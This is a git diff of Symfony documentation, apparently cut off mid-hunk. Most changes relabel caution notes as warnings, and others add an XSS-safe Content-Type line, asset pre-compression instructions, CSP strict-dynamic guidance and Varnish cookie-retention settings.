diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 001e637c03e..fc36b88779a 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setThrowable()`` on the
+    If your listener calls ``setResponse()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
diff --git a/deployment.rst b/deployment.rst
index 3edbc34dd6b..864ebc7a963 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -184,7 +184,7 @@ as you normally do:
     significantly by building a "class map". The ``--no-dev`` flag ensures that
     development packages are not installed in the production environment.
 
-.. caution::
+.. warning::
 
     If you get a "class not found" error during this step, you may need to
     run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index cd5649d979a..4dad6f95fb1 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -102,7 +102,7 @@ using the following configuration options:
     Support for the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
     environment variables was introduced in Symfony 7.2.
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/doctrine.rst b/doctrine.rst
index dc42a5b9e73..171f8a3348a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -58,7 +58,7 @@ The database connection information is stored as an environment variable called
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
-.. caution::
+.. warning::
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
@@ -174,7 +174,7 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     Confused why the price is an integer? Don't worry: this is just an example.
     But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
 
-.. caution::
+.. warning::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
     InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255
@@ -204,7 +204,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
-.. caution::
+.. warning::
 
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
@@ -320,7 +320,7 @@ before, execute your migrations:
 
     $ php bin/console doctrine:migrations:migrate
 
-.. caution::
+.. warning::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1b3aa4aa185..e5b21819f58 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows:
                             ->datetimeFunction('test_datetime', DatetimeFunction::class);
             };
 
-.. caution::
+.. warning::
 
     DQL functions are instantiated by Doctrine outside of the Symfony
     :doc:`service container </service_container>` so you can't inject services
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 014d9e4dccb..1a56c55ddad 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf
     advanced and not usually required. Be sure you actually need multiple
     entity managers before adding in this layer of complexity.
 
-.. caution::
+.. warning::
 
     Entities cannot define associations across different entity managers. If you
     need that, there are `several alternatives`_ that require some custom setup.
@@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the
 entities in ``src/Entity/Customer``. You've also defined two connections, one
 for each entity manager, but you are free to define the same connection for both.
 
-.. caution::
+.. warning::
 
     When working with multiple connections and entity managers, you should be
     explicit about which configuration you want. If you *do* omit the name of
@@ -251,7 +251,7 @@ The same applies to repository calls::
         }
     }
 
-.. caution::
+.. warning::
 
     One entity can be managed by more than one entity manager. This however
     results in unexpected behavior when extending from ``ServiceEntityRepository``
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 6787cba2d83..27885af267b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,9 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            // the exception message can contain unfiltered user input;
+            // set the content-type to text to avoid XSS issues
+            $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that
             // holds status code and header details
@@ -798,3 +801,11 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
+
+Learn More
+----------
+
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
+- :doc:`/reference/events`
+- :ref:`Security-related Events <security-security-events>`
+- :doc:`/components/event_dispatcher`
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 400747bba12..db098a1ba09 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -171,7 +171,7 @@ class to the label:
         ],
         // ...
 
-.. caution::
+.. warning::
 
     Switches only work with **checkbox**.
 
@@ -201,7 +201,7 @@ class to the ``row_attr`` option.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
@@ -239,7 +239,7 @@ of your form type.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     You **must** provide a ``label`` and a ``placeholder`` to make floating
     labels work properly.
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 709f3321544..0d92a967fa0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type:
 ``postal_address_zipCode_label``
     The label block of the ZIP Code field.
 
-.. caution::
+.. warning::
 
     When the name of your form class matches any of the built-in field types,
     your form might not be rendered correctly. A form type named
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index cb5c7936701..38c92ce35ae 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -126,7 +126,7 @@ in your form type::
         }
     }
 
-.. caution::
+.. warning::
 
     The data passed to the mapper is *not yet validated*. This means that your
     objects should allow being created in an invalid state in order to produce
@@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. caution::
+.. warning::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
     lets its parent map inner values.
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4e81fc3e930..db051a04bbc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data
 converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
 when rendering the form, and then back to a ``DateTime`` object on submit.
 
-.. caution::
+.. warning::
 
     When a form field has the ``inherit_data`` option set to ``true``, data transformers
     are not applied to that field.
@@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real
 If the issue isn't found, a form error will be created for that field and
 its error message can be controlled with the ``invalid_message`` field option.
 
-.. caution::
+.. warning::
 
     Be careful when adding your transformers. For example, the following is **wrong**,
     as the transformer would be applied to the entire form, instead of just this
@@ -472,7 +472,7 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
-.. caution::
+.. warning::
 
     Be careful with model transformers and
     :doc:`Collection </reference/forms/types/collection>` field types.
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 7b98134af18..7a08fb6978a 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     argument to ``submit()``. Passing ``false`` will remove any missing fields
     within the form object. Otherwise, the missing fields will be set to ``null``.
 
-.. caution::
+.. warning::
 
     When the second parameter ``$clearMissing`` is ``false``, like with the
     "PATCH" method, the validation will only apply to the submitted fields. If
diff --git a/form/events.rst b/form/events.rst
index 745df2df453..dad6c242ddd 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -192,7 +192,7 @@ Form view data        Same as in ``FormEvents::POST_SET_DATA``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the form.
 
@@ -225,7 +225,7 @@ Form view data        Normalized data transformed using a view transformer
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the current form and its
     children.
diff --git a/form/form_collections.rst b/form/form_collections.rst
index f0ad76a8a61..2a0ba99657f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.
 
-.. caution::
+.. warning::
 
     You can embed nested collections as many levels down as you like. However,
     if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
@@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
-.. caution::
+.. warning::
 
     You have to create **both** ``addTag()`` and ``removeTag()`` methods,
     otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``.
     You'll learn more about the ``removeTag()`` method later in this article.
 
-.. caution::
+.. warning::
 
     Symfony can only make the plural-to-singular conversion (e.g. from the
     ``tags`` property to the ``addTag()`` method) for English words. Code
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3f3cd0bbc89..1c23601a883 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
-.. caution::
+.. warning::
 
    If you're rendering each field manually, make sure you don't forget the
    ``_token`` field that is automatically added for CSRF protection.
@@ -305,7 +305,7 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
-.. caution::
+.. warning::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
diff --git a/form/form_themes.rst b/form/form_themes.rst
index eb6f6f2ae22..8b82982edaa 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -177,7 +177,7 @@ of form themes:
 
     {# ... #}
 
-.. caution::
+.. warning::
 
     When using the ``only`` keyword, none of Symfony's built-in form themes
     (``form_div_layout.html.twig``, etc.) will be applied. In order to render
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 19b14b27bcd..2caa0afcdbe 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms::
 That's it! You have extracted duplicated field definitions to a separate
 location form that you can reuse wherever you need it.
 
-.. caution::
+.. warning::
 
     Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners.
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 111f1b77986..106eb4e7742 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments:
 ``null`` is guessed when you believe the value of the option should not be
 set.
 
-.. caution::
+.. warning::
 
     You should be very careful using the ``guessMaxLength()`` method. When the
     type is a float, you cannot determine a length (e.g. you want a float to be
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bf57e6d1afc..9603c5bc0d2 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,7 +1,7 @@
 How to Unit Test your Forms
 ===========================
 
-.. caution::
+.. warning::
 
     This article is intended for developers who create
     :doc:`custom form types </form/create_custom_field_type>`. If you are using
@@ -121,7 +121,7 @@ variable exists and will be available in your form themes::
     Use `PHPUnit data providers`_ to test multiple form conditions using
     the same test code.
 
-.. caution::
+.. warning::
 
     When your type relies on the ``EntityType``, you should register the
     :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
@@ -214,7 +214,7 @@ allows you to return a list of extensions to register::
         {
             $validator = Validation::createValidator();
 
-            // or if you also need to read constraints from annotations
+            // or if you also need to read constraints from attributes
             $validator = Validation::createValidatorBuilder()
                 ->enableAttributeMapping()
                 ->getValidator();
diff --git a/form/without_class.rst b/form/without_class.rst
index 589f8a4739e..436976bdfcc 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -121,7 +121,7 @@ but here's a short example::
     submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid``
     constraint, unless you :doc:`disable validation </form/disabling_validation>`.
 
-.. caution::
+.. warning::
 
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
diff --git a/forms.rst b/forms.rst
index a90e4ee1772..008c60a66c6 100644
--- a/forms.rst
+++ b/forms.rst
@@ -869,7 +869,7 @@ pass ``null`` to it::
         }
     }
 
-.. caution::
+.. warning::
 
     When using a specific :doc:`form validation group </form/validation_groups>`,
     the field type guesser will still consider *all* validation constraints when
diff --git a/frontend.rst b/frontend.rst
index f498dc737b5..c28e6fcf222 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,6 +61,10 @@ be executed by a browser.
 AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `AssetMapper screencast series`_.
+
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
@@ -118,6 +122,10 @@ the `StimulusBundle Documentation`_
 Using a Front-end Framework (React, Vue, Svelte, etc)
 -----------------------------------------------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `API Platform screencast series`_.
+
 If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
 we recommend using their native tools and using Symfony as a pure API. A wonderful
 tool to do that is `API Platform`_. Their standard distribution comes with a
@@ -143,3 +151,5 @@ Other Front-End Articles
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
+.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 685474e66d3..d68c77c0105 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -12,7 +12,7 @@ The component has two main features:
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
   ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d92m.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
@@ -70,7 +70,7 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+like: ``/assets/images/duck-3c16d92m.png``. If you change
 the file, the version part of the URL will also change automatically.
 
 .. _asset-mapper-compile-assets:
@@ -78,7 +78,7 @@ the file, the version part of the URL will also change automatically.
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d92m.png``
 is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
@@ -91,7 +91,7 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-.. caution::
+.. warning::
 
     If you run the ``asset-map:compile`` command on your development machine,
     you won't see any changes made to your assets when reloading the page.
@@ -283,9 +283,9 @@ outputs an `importmap`_:
 
     <script type="importmap">{
         "imports": {
-            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
-            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
+            "app": "/assets/app-4e986c1a.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3.js",
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f093544d.js"
         }
     }</script>
 
@@ -342,8 +342,8 @@ The ``importmap()`` function also outputs a set of "preloads":
 
 .. code-block:: html
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+    <link rel="modulepreload" href="/assets/app-4e986c1a.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3.js">
 
 This is a performance optimization and you can learn more about below
 in :ref:`Performance: Add Preloading <performance-preloading>`.
@@ -415,6 +415,8 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
+.. _asset-mapper-handling-css:
+
 Handling CSS
 ------------
 
@@ -492,9 +494,9 @@ for ``duck.png``:
 
 .. code-block:: css
 
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    /* public/assets/styles/app-3c16d92m.css */
     .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+        background-image: url('../images/duck-3c16d92m.png');
     }
 
 .. _asset-mapper-tailwind:
@@ -571,7 +573,7 @@ Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
 or a CSS/image file you're referencing won't be found, and you'll see a 404
 error in your browser's console. You'll also notice that the 404 URL is missing
 the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
-a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+a path like ``/assets/duck-1b7a64b3.js``).
 
 This is usually because the path is wrong. If you're referencing the file
 directly in a Twig template:
@@ -646,7 +648,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
   and can be activated in Nginx and Apache. Or, proxy your site through a
   service like Cloudflare, which will automatically enable HTTP/2 for you.
@@ -654,7 +656,9 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
+  In Cloudflare, assets are compressed by default. AssetMapper also supports
+  :ref:`precompressing your web assets <performance-precompressing>` to further
+  improve performance.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -702,6 +706,76 @@ even though it hasn't yet seen the ``import`` statement for them.
 Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
+.. _performance-precompressing:
+
+Pre-Compressing Assets
+----------------------
+
+Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+provide asset compression features, AssetMapper also allows you to compress all
+your assets before serving them.
+
+This improves performance because you can compress assets using the highest (and
+slowest) compression ratios beforehand and provide those compressed assets to the
+server, which then returns them to the client without wasting CPU resources on
+compression.
+
+AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
+Before using any of them, the server that pre-compresses assets must have
+installed the following PHP extensions or CLI commands:
+
+* Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
+* Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
+* gzip: ``zopfli`` (better) or ``gzip`` CLI command; `zlib PHP extension`_.
+
+Then, update your AssetMapper configuration to define which compression to use
+and which file extensions should be compressed:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            # ...
+
+            precompress:
+                format: 'zstandard'
+                # if you don't define the following option, AssetMapper will compress all
+                # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
+                extensions: ['css', 'js', 'json', 'svg', 'xml']
+
+Now, when running the ``asset-map:compile`` command, all matching files will be
+compressed in the configured format and at the highest compression level. The
+compressed files are created with the same name as the original but with the
+``.br``, ``.zst``, or ``.gz`` extension appended.
+
+Then, you need to configure your web server to serve the precompressed assets
+instead of the original ones:
+
+.. configuration-block::
+
+    .. code-block:: caddy
+
+        file_server {
+            precompressed br zstd gzip
+        }
+
+    .. code-block:: nginx
+
+        gzip_static on;
+
+        # Requires https://github.com/google/ngx_brotli
+        brotli_static on;
+
+        # Requires https://github.com/tokers/zstd-nginx-module
+        zstd_static on;
+
+.. tip::
+
+    AssetMapper provides an ``assets:compress`` CLI command and a service called
+    ``asset_mapper.compressor`` that you can use anywhere in your application to
+    compress any kind of files (e.g. files uploaded by users to your application).
+
 Frequently Asked Questions
 --------------------------
 
@@ -846,7 +920,7 @@ be versioned! It will output something like:
 
 .. code-block:: html+twig
 
-    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c.css">
 
 Overriding 3rd-Party Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1093,6 +1167,24 @@ it in the CSP header, and then pass the same nonce to the Twig function:
     {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
     {{ importmap('app', {'nonce': csp_nonce('script')}) }}
 
+Content Security Policy and CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your importmap includes CSS files, AssetMapper uses a trick to load those by
+adding ``data:application/javascript`` to the rendered importmap (see
+:ref:`Handling CSS <asset-mapper-handling-css>`).
+
+This can cause browsers to report CSP violations and block the CSS files from
+being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src``
+directive of your Content Security Policy, to tell the browser that the importmap
+is allowed to load other resources.
+
+.. note::
+
+    When using ``strict-dynamic``, the browser will ignore any other sources in
+    ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other
+    ``<script>`` tags will also need to be trusted via a nonce.
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1172,5 +1264,12 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`Brotli`: https://en.wikipedia.org/wiki/Brotli
+.. _`Zstandard`: https://en.wikipedia.org/wiki/Zstd
+.. _`gzip`: https://en.wikipedia.org/wiki/Gzip
+.. _`brotli PHP extension`: https://pecl.php.net/package/brotli
+.. _`zstd PHP extension`: https://pecl.php.net/package/zstd
+.. _`zlib PHP extension`: https://www.php.net/manual/en/book.zlib.php
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index f98ac8b75a0..2ddff9de345 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
 
-.. caution::
+.. warning::
 
     Some of the documentation will use features that are specific to Symfony or
     Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d790611b511..1c6c6b05c08 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -82,7 +82,7 @@ in your ``package.json`` file.
     in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
     documentation.
 
-.. caution::
+.. warning::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
     stop and restart ``encore``.
@@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See
 Compiling Only a CSS File
 -------------------------
 
-.. caution::
+.. warning::
 
     Using ``addStyleEntry()`` is supported, but not recommended. A better option
     is to follow the pattern above: use ``addEntry()`` to point to a JavaScript
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index c24d2b3670b..d18026d3633 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -87,7 +87,7 @@ connections:
           }
       }
 
-.. caution::
+.. danger::
 
     Make sure to run the development server inside your virtual machine only;
     otherwise other computers can have access to it.
@@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
             options.allowedHosts = all;
         })
 
-.. caution::
+.. warning::
 
     Beware that `it's not recommended to set allowedHosts to all`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4d5e07acc61..394c79aed42 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content
 changes. Reverse proxies usually provide a channel to receive such
 notifications, typically through special HTTP requests.
 
-.. caution::
+.. warning::
 
     While cache invalidation is powerful, avoid it when possible. If you fail
     to invalidate something, outdated caches will be served for a potentially
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 52a09fb16a7..588cad424cd 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
 possible.
 
-.. caution::
+.. warning::
 
     The fragment listener only responds to signed requests. Requests are only
     signed when using the fragment renderer and the ``render_esi`` Twig
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 3c1fa6d5346..a9bb668c100 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet:
         }
     }
 
+.. note::
+
+    Forcing HTTPS while using a reverse proxy or load balancer requires a proper
+    configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies`
+    for more details.
+
 Cookies and Caching
 -------------------
 
@@ -61,24 +67,29 @@ at least for some parts of the site, e.g. when using forms with
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
 
-Cookies created in JavaScript and used only in the frontend, e.g. when using
-Google Analytics, are nonetheless sent to the server. These cookies are not
-relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. You want to keep the
-session cookie, if there is one, and get rid of all other cookies so that pages
-are cached if there is no active session. Unless you changed the default
-configuration of PHP, your session cookie has the name ``PHPSESSID``:
+Cookies created in JavaScript and used only on the frontend, such as those from
+Google Analytics, are still sent to the server. These cookies are not relevant
+for backend processing and should not influence the caching logic. To ensure
+this, configure your Varnish cache to `clean the cookies header`_ by retaining
+only essential cookies (e.g., session cookies) and removing all others. This
+allows pages to be cached when there is no active session.
+
+If you are using PHP with its default configuration, the session cookie is
+typically named ``PHPSESSID``. Additionally, if your application depends on other
+critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>`
+functionality or a trusted device cookie for two-factor authentication, these
+cookies should also be preserved.
 
 .. configuration-block::
 
     .. code-block:: varnish4
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
@@ -92,11 +103,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
     .. code-block:: varnish3
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
